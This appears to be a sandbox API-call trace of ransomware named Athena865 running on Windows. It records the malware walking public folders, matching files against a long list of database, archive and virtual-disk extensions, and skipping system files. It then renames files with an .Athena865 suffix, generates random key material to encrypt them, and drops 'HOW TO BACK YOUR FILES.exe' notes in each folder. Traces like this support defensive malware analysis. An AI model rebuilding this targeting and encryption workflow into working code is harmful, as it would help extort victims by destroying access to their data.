[0054.277] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0054.277] lstrlenW (lpString="pdb") returned 3 [0054.277] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0054.277] lstrlenW (lpString="pdm") returned 3 [0054.277] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0054.277] lstrlenW (lpString="pnz") returned 3 [0054.277] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0054.277] lstrlenW (lpString="qry") returned 3 [0054.277] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0054.277] lstrlenW (lpString="qvd") returned 3 [0054.277] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0054.277] lstrlenW (lpString="rbf") returned 3 [0054.277] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0054.277] lstrlenW (lpString="rctd") returned 4 [0054.278] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0054.278] lstrlenW (lpString="rod") returned 3 [0054.278] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0054.278] lstrlenW (lpString="rodx") returned 4 [0054.278] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0054.278] lstrlenW (lpString="rpd") returned 3 [0054.278] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0054.278] lstrlenW (lpString="rsd") returned 3 [0054.278] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0054.278] lstrlenW (lpString="sas7bdat") returned 8 [0054.278] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0054.278] lstrlenW (lpString="sbf") returned 3 [0054.278] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0054.278] lstrlenW (lpString="scx") returned 3 [0054.278] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0054.278] lstrlenW (lpString="sdb") returned 3 [0054.278] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0054.278] lstrlenW (lpString="sdc") returned 3 [0054.278] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0054.278] lstrlenW (lpString="sdf") returned 3 [0054.278] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0054.278] lstrlenW (lpString="sis") returned 3 [0054.278] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0054.278] lstrlenW (lpString="spq") returned 3 [0054.278] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0054.278] lstrlenW (lpString="te") returned 2 [0054.278] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0054.278] lstrlenW (lpString="teacher") returned 7 [0054.278] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0054.278] lstrlenW (lpString="tmd") returned 3 [0054.278] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0054.278] lstrlenW (lpString="tps") returned 3 [0054.278] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0054.279] lstrlenW (lpString="trc") returned 3 [0054.279] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0054.279] lstrlenW (lpString="trc") returned 3 [0054.279] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0054.279] lstrlenW (lpString="trm") returned 3 [0054.279] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0054.279] lstrlenW (lpString="udb") returned 3 [0054.279] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0054.279] lstrlenW (lpString="udl") returned 3 [0054.279] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0054.279] lstrlenW (lpString="usr") returned 3 [0054.279] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0054.279] lstrlenW (lpString="v12") returned 3 [0054.279] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0054.279] lstrlenW (lpString="vis") returned 3 [0054.279] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0054.279] lstrlenW (lpString="vpd") returned 3 [0054.279] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0054.279] lstrlenW (lpString="vvv") returned 3 [0054.279] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0054.279] lstrlenW (lpString="wdb") returned 3 [0054.279] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0054.279] lstrlenW (lpString="wmdb") returned 4 [0054.279] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0054.279] lstrlenW (lpString="wrk") returned 3 [0054.279] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0054.279] lstrlenW (lpString="xdb") returned 3 [0054.279] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0054.279] lstrlenW (lpString="xld") returned 3 [0054.279] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0054.279] lstrlenW (lpString="xmlff") returned 5 [0054.279] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0054.279] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Public\\Pictures\\desktop.ini.Athena865") returned 63 [0054.280] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Public\\Pictures\\desktop.ini" (normalized: "c:\\documents and settings\\public\\pictures\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Public\\Pictures\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\public\\pictures\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0054.280] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Pictures\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\public\\pictures\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0054.280] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=380) returned 1 [0054.280] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0054.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0054.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519e60 [0054.281] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519ee8) returned 1 [0054.281] CryptGenRandom (in: hProv=0x519ee8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0054.281] CryptReleaseContext (hProv=0x519ee8, dwFlags=0x0) returned 1 [0054.282] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x480, lpName=0x0) returned 0x17c [0054.282] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x480) returned 0x100000 [0054.282] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519ee8) returned 1 [0054.283] CryptGenRandom (in: hProv=0x519ee8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0054.283] CryptReleaseContext (hProv=0x519ee8, dwFlags=0x0) returned 1 [0054.283] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0054.283] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0054.283] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0054.283] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0054.283] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0054.283] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0054.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0054.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0054.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0054.284] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0054.284] CloseHandle (hObject=0x17c) returned 1 [0054.284] CloseHandle (hObject=0x154) returned 1 [0054.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0054.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519e60 | out: hHeap=0x4f0000) returned 1 [0054.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0054.286] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2fa6a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd2fa6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.286] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.286] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 1 [0054.286] lstrcmpiW (lpString1="Sample Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.286] lstrcmpiW (lpString1="Sample Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.286] lstrcmpiW (lpString1="Sample Pictures", lpString2=".") returned 1 [0054.286] lstrcmpiW (lpString1="Sample Pictures", lpString2="..") returned 1 [0054.286] lstrcmpiW (lpString1="Sample Pictures", lpString2="windows") returned -1 [0054.286] lstrcmpiW (lpString1="Sample Pictures", lpString2="bootmgr") returned 1 [0054.286] lstrcmpiW (lpString1="Sample Pictures", lpString2="temp") returned -1 [0054.286] lstrcmpiW (lpString1="Sample Pictures", lpString2="pagefile.sys") returned 1 [0054.286] lstrcmpiW (lpString1="Sample Pictures", lpString2="boot") returned 1 [0054.286] lstrcmpiW (lpString1="Sample Pictures", lpString2="ids.txt") returned 1 [0054.286] lstrcmpiW (lpString1="Sample Pictures", lpString2="ntuser.dat") returned 1 [0054.286] lstrcmpiW (lpString1="Sample Pictures", lpString2="perflogs") returned 1 [0054.286] lstrcmpiW (lpString1="Sample Pictures", lpString2="MSBuild") returned 1 [0054.286] lstrlenW (lpString="Sample Pictures") returned 15 [0054.286] lstrcpyW (in: lpString1=0x241e89c, lpString2="Sample Pictures" | out: lpString1="Sample Pictures") returned="Sample Pictures" [0054.286] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures", dwFileAttributes=0x10) returned 1 [0054.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cf60 [0054.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x74) returned 0x502828 [0054.287] lstrcatW (in: lpString1="Sample Pictures", lpString2="\\" | out: lpString1="Sample Pictures\\") returned="Sample Pictures\\" [0054.287] lstrcatW (in: lpString1="Sample Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sample Pictures\\HOW TO BACK YOUR FILES.exe") returned="Sample Pictures\\HOW TO BACK YOUR FILES.exe" [0054.287] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\how to back your files.exe"), bFailIfExists=1) returned 1 [0054.290] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 0 [0054.290] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.290] ReleaseMutex (hMutex=0xec) returned 1 [0054.290] CloseHandle (hObject=0xec) returned 1 [0054.290] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Public\\Recorded TV" | out: lpString1="C:\\Documents and Settings\\Public\\Recorded TV") returned="C:\\Documents and Settings\\Public\\Recorded TV" [0054.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b948 | out: hHeap=0x4f0000) returned 1 [0054.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cf78 | out: hHeap=0x4f0000) returned 1 [0054.290] lstrlenW (lpString="C:\\Documents and Settings\\Public\\Recorded TV") returned 44 [0054.290] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\F0E5B9F4720C1EEA7BAC58D0D899462E") returned 0xec [0054.290] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.290] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Public\\Recorded TV" | out: lpString1="C:\\Documents and Settings\\Public\\Recorded TV") returned="C:\\Documents and Settings\\Public\\Recorded TV" [0054.290] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.290] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Recorded TV\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\recorded tv\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.291] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Recorded TV\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\recorded tv\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.291] GetLastError () returned 0x0 [0054.291] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.291] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.292] CloseHandle (hObject=0xf4) returned 1 [0054.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.292] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.292] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Public\\Recorded TV\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xbd2fa6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd2fa6a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.292] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.292] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.292] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.292] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xbd2fa6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd2fa6a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.292] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.292] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.292] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.292] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.293] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x89e5e11e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x89e5e11e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0054.293] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.293] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.293] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0054.293] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.293] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0054.293] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0054.293] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0054.293] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0054.293] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0054.293] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0054.293] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0054.293] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0054.293] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0054.293] lstrlenW (lpString="desktop.ini") returned 11 [0054.293] lstrcpyW (in: lpString1=0x241e8a2, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0054.293] lstrlenW (lpString="desktop.ini") returned 11 [0054.293] lstrlenW (lpString="Athena865") returned 9 [0054.293] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0054.293] lstrlenW (lpString=".dll") returned 4 [0054.293] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0054.293] lstrlenW (lpString=".lnk") returned 4 [0054.293] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0054.293] lstrlenW (lpString=".ini") returned 4 [0054.293] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0054.293] lstrlenW (lpString=".sys") returned 4 [0054.293] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0054.293] lstrlenW (lpString="desktop.ini") returned 11 [0054.293] lstrlenW (lpString="bak") returned 3 [0054.293] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0054.293] lstrlenW (lpString="ba_") returned 3 [0054.293] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0054.294] lstrlenW (lpString="dbb") returned 3 [0054.294] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0054.294] lstrlenW (lpString="vmdk") returned 4 [0054.294] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0054.294] lstrlenW (lpString="rar") returned 3 [0054.294] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0054.294] lstrlenW (lpString="zip") returned 3 [0054.294] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0054.294] lstrlenW (lpString="tgz") returned 3 [0054.294] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0054.294] lstrlenW (lpString="vbox") returned 4 [0054.294] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0054.294] lstrlenW (lpString="vdi") returned 3 [0054.294] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0054.294] lstrlenW (lpString="vhd") returned 3 [0054.294] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0054.294] lstrlenW (lpString="vhdx") returned 4 [0054.294] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0054.294] lstrlenW (lpString="avhd") returned 4 [0054.294] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0054.294] lstrlenW (lpString="db") returned 2 [0054.294] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0054.294] lstrlenW (lpString="db2") returned 3 [0054.294] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0054.294] lstrlenW (lpString="db3") returned 3 [0054.294] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0054.294] lstrlenW (lpString="dbf") returned 3 [0054.294] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0054.294] lstrlenW (lpString="mdf") returned 3 [0054.294] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0054.294] lstrlenW (lpString="mdb") returned 3 [0054.294] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0054.294] lstrlenW (lpString="sql") returned 3 [0054.295] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0054.295] lstrlenW (lpString="sqlite") returned 6 [0054.295] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0054.295] lstrlenW (lpString="sqlite3") returned 7 [0054.295] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0054.295] lstrlenW (lpString="sqlitedb") returned 8 [0054.295] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0054.295] lstrlenW (lpString="xml") returned 3 [0054.295] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0054.295] lstrlenW (lpString="$er") returned 3 [0054.295] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0054.295] lstrlenW (lpString="4dd") returned 3 [0054.295] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0054.295] lstrlenW (lpString="4dl") returned 3 [0054.295] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0054.295] lstrlenW (lpString="^^^") returned 3 [0054.295] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0054.295] lstrlenW (lpString="abs") returned 3 [0054.295] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0054.295] lstrlenW (lpString="abx") returned 3 [0054.295] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0054.295] lstrlenW (lpString="accdb") returned 5 [0054.295] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0054.295] lstrlenW (lpString="accdc") returned 5 [0054.295] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0054.295] lstrlenW (lpString="accde") returned 5 [0054.295] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0054.295] lstrlenW (lpString="accdr") returned 5 [0054.295] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0054.295] lstrlenW (lpString="accdt") returned 5 [0054.295] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0054.296] lstrlenW (lpString="accdw") returned 5 [0054.296] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0054.296] lstrlenW (lpString="accft") returned 5 [0054.296] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0054.296] lstrlenW (lpString="adb") returned 3 [0054.296] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0054.296] lstrlenW (lpString="adb") returned 3 [0054.296] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0054.296] lstrlenW (lpString="ade") returned 3 [0054.296] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0054.296] lstrlenW (lpString="adf") returned 3 [0054.296] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0054.296] lstrlenW (lpString="adn") returned 3 [0054.296] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0054.296] lstrlenW (lpString="adp") returned 3 [0054.296] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0054.296] lstrlenW (lpString="alf") returned 3 [0054.296] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0054.296] lstrlenW (lpString="ask") returned 3 [0054.296] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0054.296] lstrlenW (lpString="btr") returned 3 [0054.296] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0054.296] lstrlenW (lpString="cat") returned 3 [0054.296] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0054.296] lstrlenW (lpString="cdb") returned 3 [0054.296] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0054.296] lstrlenW (lpString="ckp") returned 3 [0054.296] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0054.296] lstrlenW (lpString="cma") returned 3 [0054.296] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0054.296] lstrlenW (lpString="cpd") returned 3 [0054.296] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0054.296] lstrlenW (lpString="dacpac") returned 6 [0054.297] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0054.297] lstrlenW (lpString="dad") returned 3 [0054.297] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0054.297] lstrlenW (lpString="dadiagrams") returned 10 [0054.297] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0054.297] lstrlenW (lpString="daschema") returned 8 [0054.297] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0054.297] lstrlenW (lpString="db-journal") returned 10 [0054.297] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0054.297] lstrlenW (lpString="db-shm") returned 6 [0054.297] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0054.297] lstrlenW (lpString="db-wal") returned 6 [0054.297] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0054.297] lstrlenW (lpString="dbc") returned 3 [0054.297] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0054.297] lstrlenW (lpString="dbs") returned 3 [0054.297] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0054.297] lstrlenW (lpString="dbt") returned 3 [0054.297] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0054.297] lstrlenW (lpString="dbv") returned 3 [0054.297] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0054.297] lstrlenW (lpString="dbx") returned 3 [0054.297] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0054.297] lstrlenW (lpString="dcb") returned 3 [0054.297] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0054.297] lstrlenW (lpString="dct") returned 3 [0054.297] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0054.297] lstrlenW (lpString="dcx") returned 3 [0054.297] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 